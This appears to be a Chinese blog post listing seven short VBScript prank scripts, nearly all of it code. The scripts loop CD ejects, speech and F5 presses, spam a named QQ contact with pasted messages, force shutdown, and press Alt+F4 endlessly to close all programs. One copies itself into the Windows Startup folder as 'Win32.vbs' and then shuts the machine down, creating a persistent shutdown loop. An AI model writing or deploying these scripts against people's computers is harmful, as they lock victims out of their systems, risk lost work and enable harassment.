超简单的vbs代码

  1. 无限弹出光驱:

    ————————————————

    set wmp=createobject(“wmplayer.ocx”)

    set cd=wmp.cdromcollection.item(0)

    do

    cd.eject

    loop

    ————————————————

  2. 无尽语音报数:

    无限语音从1数到无限大。

    ————————————————

    Set s = CreateObject(“sapi.spvoice”)

    i=0

    do

    s.speak i

    i=i+1

    loop

    ————————————————

  3. 无尽刷新:

    慎用,如此刷新打开任务管理器都难,只能拔掉电源。

    ————————————————

    set ws=createobject(“wscript.shell”)

    do

    ws.sendkeys “{f5}”

    loop

    ————————————————

  4. 修改注册表:

    ————————————————

    on error resume next

    set wr=createobject(“scripting.filesystemobject”)

    set ws=createobject(“wscript.shell”)

    set f = wr.getfile(wscript.scriptfullname)

    q=ws.regread(“HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders\Startup”)

    if not f=”Win32.vbs” then wr.copyfile f,q&”\Win32.vbs”,true

    ws.run”shutdown -p”,vbhide

    ————————————————

  5. QQ信息骚扰恶搞:

    打开好友的聊天对话框,然后记下聊天对话框的名称,把下面代码里的小敏替换一下。代码中的“10”代表发送次数,把10修改一下就可以自定义发送QQ信息到好友的次数。把发送的内容“复制”即可,当打开本vbs的时候就会把剪切板里的内容粘贴发送过去。

    ————————————————

    On Error Resume Next

    Dim wsh,ye

    set wsh=createobject(“wscript.shell”)

    for i=1 to 10

    wscript.sleep 700

    wsh.AppActivate(“小敏”)

    wsh.sendKeys “^v”

    wsh.sendKeys i

    wsh.sendKeys “%s”

    next

    wscript.quit

    ————————————————

  6. 直接关机:

    ————————————————

    dim WSHshell

    set WSHshell = wscript.createobject(“wscript.shell”)

    WSHshell.run “shutdown -f -s -t 00”,0 ,true

    ————————————————

  7. 不断按下alt+f4 :

    打开任何程序都关掉

    ————————————————

    dim WSHshell

    set WSHshell = wscript.createobject(“wscript.shell”)

    do

    wscript.sleep 2500

    WSHshell.SendKeys “%{F4}”

    loop

    ————————————————

发表评论

电子邮件地址不会被公开。 必填项已用*标注